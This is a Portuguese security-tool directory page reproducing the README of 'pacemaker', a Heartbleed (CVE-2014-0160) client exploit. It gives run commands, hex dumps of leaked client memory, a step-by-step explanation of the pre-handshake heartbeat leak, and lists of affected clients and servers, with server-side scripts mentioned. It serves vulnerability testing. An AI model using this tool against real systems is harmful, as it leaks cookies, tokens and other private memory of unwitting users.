Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/lekensteyn/pacemaker
Análise de VulnerabilidadesExploraçãoSegurança WebSegurança de RedeCriptografiaTestes de Penetração
GitHublekensteyn/pacemaker

pacemaker

Exploit de cliente Heartbleed (CVE-2014-0160)

Ver Repositório
330793há 10 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pacemaker

Tenta explorar clientes OpenSSL vulneráveis ao Heartbleed (CVE-2014-0160). Compatível com Python 2 e 3.

Sou vulnerável?

Execute o servidor:

root@kitploit:~
python pacemaker.py

No seu cliente, abra https://localhost:4433/ (substitua o hostname se necessário). Por exemplo:

root@kitploit:~
curl https://localhost:4433/

O cliente sempre falhará ao conectar:

root@kitploit:~
curl: (35) Unknown SSL protocol error in connection to localhost:4433

Se você não for vulnerável, o servidor exibirá algo como:

root@kitploit:~
Connection from: 127.0.0.1:40736
Possibly not vulnerable

Se você for vulnerável, verá algo como:

root@kitploit:~
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............
Baixar ferramenta

As linhas subsequentes cheias de bytes NUL são condensadas em uma única com um * a partir daí (como a ferramenta xxd).

Um exemplo em que memória mais "interessante" é vazada usando wget -O /dev/null https://google.com https://localhost:4433:

root@kitploit:~
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........

Como funciona?

Os heartbeats TLS podem ser enviados por qualquer um dos lados de uma conexão TLS. Após a conclusão do handshake, esses heartbeats são criptografados. Mas aparentemente o OpenSSL permite mensagens de heartbeat antes de o handshake ser concluído. Esses heartbeats (sobre a camada de registro) não são criptografados de forma alguma!

Isso torna muito fácil explorar a falha em clientes:

  1. Aguarde um ClientHello contendo uma versão TLS e uma suíte de criptografia.
  2. Envie um ServerHello contendo a mesma versão TLS e a mesma suíte de criptografia (para evitar falha no handshake).
  3. Nesse ponto, o servidor pode enviar quantas requisições de heartbeat quiser.

Observe que não há necessidade de certificados, pois os heartbeats são aceitos antes de qualquer certificado ou chaves de criptografia serem trocados. Como o comprimento das requisições de heartbeat não é verificado, até 64 kiB de memória podem ser lidos da memória do cliente.

O pacemaker executa as etapas acima e considera um cliente como não vulnerável se a etapa 3 resultar em dados diferentes de Alertas. Se necessário para alguns protocolos (SMTP com STARTTLS, por exemplo), dados adicionais são trocados antes de o handshake TLS começar.

Uso avançado

Execute ./pacemaker.py -h para mais opções. As opções mais importantes são provavelmente -t (--timeout) e -x (--count). O timeout padrão é de 3 segundos, o que deve ser suficiente para a maioria dos clientes responderem (a menos que haja um link via satélite ou algo assim).

Exemplo para ser mais paciente por heartbeat (5 segundos) e obter quatro respostas de heartbeat:

root@kitploit:~
./pacemaker.py -t 5 -x 4

Na teoria, os heartbeats agora podem levar vinte segundos, mas na prática você obterá respostas muito mais rápido.

Clientes testados

Os seguintes clientes foram testados com OpenSSL 1.0.1f no Arch Linux e vazaram memória antes do handshake:

  • MariaDB 5.5.36
  • wget 1.15 (vaza memória de conexões anteriores e do próprio estado)
  • curl 7.36.0 (https, FTP/IMAP/POP3/SMTP com --ftp-ssl)
  • git 1.9.1 (testado clone / push, vaza pouco)
  • nginx 1.4.7 (em modo proxy, vaza memória de requisições anteriores)
  • links 2.8 (vaza o conteúdo de visitas anteriores!)
  • KDE 4.12.4 (kioclient, Dolphin, testado https e ftps com kde4-ftps-kio)
  • Exim 4.82 (SMTP de saída)

O links é um ótimo exemplo que demonstra o efeito dessa falha em clientes. Ele é um navegador baseado em texto que vaza detalhes, incluindo cabeçalhos (cookies, tokens de autorização) e conteúdos de páginas.

Licença

O pacemaker é licenciado sob a licença MIT. Consulte o arquivo LICENSE para mais detalhes.

heartbleed.py

Esta é uma implementação que utiliza o pacemaker para criar pacotes. Ela tem a ressalva de que requisições repetidas precisam estabelecer uma nova conexão para cada tentativa, pois o servidor reinicia imediatamente a conexão após a primeira resposta de heartbeat.

A ressalva é uma limitação resultante da abordagem adotada; se o handshake também fosse concluído pelo cliente, muitos handshakes criptografados poderiam ser enviados sem falhas de conexão.

O heartbleed.py faz parte do pacemaker, portanto está sob os mesmos termos de licença.

Servidores testados

Os seguintes servidores foram testados com OpenSSL 1.0.1f no Arch Linux (salvo indicação em contrário):

  • openssl s_server (HTTPS)
  • nginx 1.4.7 (HTTPS)
  • Dovecot 2.2.11 (IMAP / POP3)
  • proftpd 1.3.4a-5+deb7u1 (FTP explícito)
  • Exim 4.82 (SMTP)

ssltest.py

Este repositório também contém uma versão funcional que tem como alvo servidores. O ssltest.py foi criado por Jared Stafford ([email protected]), todos os créditos devidos são a ele! Foi obtido de http://s3.jspenguin.org/ssltest.py.

No momento, o script é compatível apenas com Python 2.